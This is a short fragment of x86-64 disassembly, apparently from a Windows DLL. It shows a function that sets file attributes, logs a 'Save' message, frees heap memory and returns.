mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov r8, rbp
test eax, eax
je 0x180011067
lea rdx, str.Save__s_n
mov ecx, 0xdc
call fcn.180030818
mov rcx, qword [rsi + 8]
mov r8, rbp
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov dil, 1
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov al, dil
add rsp, 0x20
pop rdi
ret